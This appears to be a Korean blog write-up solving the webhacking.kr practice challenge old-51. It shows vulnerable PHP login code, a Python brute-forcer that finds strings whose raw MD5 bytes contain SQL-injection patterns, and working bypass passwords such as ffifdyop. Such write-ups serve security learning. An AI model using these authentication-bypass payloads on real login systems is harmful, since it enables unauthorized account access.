[webhacking.kr] old-51

asdf·4일 전

web

목록 보기
25/32

문제에 접속하면 Admin page와 로그인 창이 나옵니다. 아무 계정으로 로그인을 해보면 Wrong이 출력됩니다. 우하단에 view_source가 있으니 코드를 한 번 보겠습니다.

<?php
  if($_POST['id'] && $_POST['pw']){
    $db = dbconnect();
    $input_id = addslashes($_POST['id']);
    $input_pw = md5($_POST['pw'],true);
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
    if($result['id']) solve(51);
    if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
  }
?>

입력 폼을 통해 POST로 id와 pw를 받습니다.
id는 addslashes라는 함수를 실행하여 input_id에 저장합니다. 여기서 addslashes 함수는 PHP에서 문자열 내의 특정 문자(', ", \, NULL) 앞에 백슬래시를 붙여서 코드가 아닌 데이터로 인식시키는 함수입니다.
pw는 md5 해시 함수를 통해 암호화하여 input_pw에 저장합니다.

id와 pw 둘 다 addslashesmd5를 통해 SQL Injection을 방지하고 있는 것 처럼 보입니다. 하지만 md5($_POST['pw'], true) 에서 true라는 옵션에 주목해야 합니다. md5 함수의 두 번째 파라미터인 $raw_outputtrue를 주게 되면 16바이트 길이의 원시 바이너리(Raw Binary) 데이터를 그대로 반환합니다. 이게 문제가 되는 이유는 DB에서 이 바이너리 데이터를 일반적인 ASCII 문자열로 해석하려고 시도하기 때문에 해시 함수 값이 'or' 혹은 '='으로 나오는 데이터를 찾아 SQL Injection을 수행할 수 있습니다.

import hashlib
import random
import string
import time

def find_md5_sqli_payload():
    print("🎯 MD5 SQL 인젝션 페이로드 탐색을 시작합니다...")
    
    attempts = 0
    start_time = time.time()
    
    # 랜덤으로 생성할 문자셋 (알파벳 대소문자 + 숫자)
    charset = string.ascii_letters + string.digits
    
    while True:
        # 10자리 길이의 랜덤 문자열 생성
        raw_string = ''.join(random.choices(charset, k=10))
        
        # md5 해시 후 16바이트 원시 바이너리(digest) 추출
        hash_bytes = hashlib.md5(raw_string.encode('utf-8')).digest()
        
        # ---------------------------------------------------
        # 1. '=' 패턴 검사
        # ---------------------------------------------------
        if b"'='" in hash_bytes:
            idx = hash_bytes.find(b"'='")
            # '=' 패턴(길이 3) 뒤에 오는 문자가 있는지 확인
            if idx + 3 < len(hash_bytes):
                next_char = hash_bytes[idx + 3]
                # 아스키코드 49('1') ~ 57('9')가 아니어야 0으로 자동 형변환됨
                if next_char < 49 or next_char > 57:
                    print(f"\n[🔥 찾았습니다! '=' 패턴 성공]")
                    print(f" - 입력할 평문(Payload) : {raw_string}")
                    print(f" - 생성된 바이너리 Hex  : {hash_bytes.hex()}")
                    break
                    
        # ---------------------------------------------------
        # 2. 'or' 패턴 검사
        # ---------------------------------------------------
        if b"'or'" in hash_bytes:
            idx = hash_bytes.find(b"'or'")
            # 'or' 패턴(길이 4) 뒤에 오는 문자가 있는지 확인
            if idx + 4 < len(hash_bytes):
                next_char = hash_bytes[idx + 4]
                # 아스키코드 49('1') ~ 57('9') 사이여야 참(True)으로 인식됨
                if 49 <= next_char <= 57:
                    print(f"\n[🔥 찾았습니다! 'or' 패턴 성공]")
                    print(f" - 입력할 평문(Payload) : {raw_string}")
                    print(f" - 생성된 바이너리 Hex  : {hash_bytes.hex()}")
                    break

        attempts += 1
        # 100만 번 시도할 때마다 진행 상황 출력
        if attempts % 1000000 == 0:
            elapsed = time.time() - start_time
            print(f"... {attempts:,}번 시도 중 ({elapsed:.1f}초 경과) ...")

if __name__ == '__main__':
    find_md5_sqli_payload()

조건에 맞는 문자열을 찾는 python 코드입니다. md5 해시 후 16바이트 원시 바이너리 값에 '=' 또는 'or' 가 포함되는 문자열을 찾아줍니다.

'=' 패턴 검사에서 '=' 이후 1~9 사이가 아닌지 검사를 하는 이유는 MySQL에서는 문자열인 '뒷부분'을 숫자 0과 비교하기 위해, 문자열을 숫자로 강제로 변환하려고 시도합니다. 만약 문자열이 123abc처럼 숫자로 시작한다면 이를 숫자 123으로 변환됩니다. 이 경우 0=123이 되어 결과가 False가 됩니다. 하지만 숫자 외에 문자나 특수기호로 시작된다면 0으로 변환해버리기 때문에 select id from chall51 where id='{$input_id}' and 0=0 이 되어 id만 실제로 존재한다면 True가 됩니다.

'or'의 경우는 '=' 패턴과 반대로 or 이후가 0이 아니어야 하므로 'or' 이후 1~9사이가 되어야 합니다.

'=' 패턴으로 성공하였으므로 ID에는 존재하는 값인 admin을, 비밀번호에는 t7BYyDUdw8를 넣으면 문제를 해결할 수 있습니다.

'or' 패턴은 조건이 훨씬 까다로워서 그런지 시간이 오래 걸리는 모습입니다. 'or' 패턴 중에는 ffifdyop 라는 알려진 우회 문자열이 있으므로 비밀번호에 ffifdyop를 넣어서도 문제를 해결할 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글